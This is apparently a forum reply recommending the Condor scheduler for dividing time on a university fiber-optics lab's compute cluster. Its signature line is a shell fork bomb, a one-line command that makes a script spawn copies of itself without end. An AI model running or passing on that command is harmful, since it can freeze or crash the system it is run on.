Hi,

I used to work for a fiber optics lab at a University. We had many users vying for control of the computational cluster, and needed a way to divide time among them based on time, project priority, etc, etc.

I ended up going with Condor. Condor will support most of what you're asking for. It will also run MPI and PVM jobs, so you can integrate parallel-processing jobs into the system. It's not difficult to setup (does require a decent sysadmin), runs on Unix and Windows, and seems to have a decent userbase. I was able to get answers from some of the developers when I emailed.

Good luck,
ibanix

$ echo '$0 & $0 &' > foo; chmod a+x foo; foo;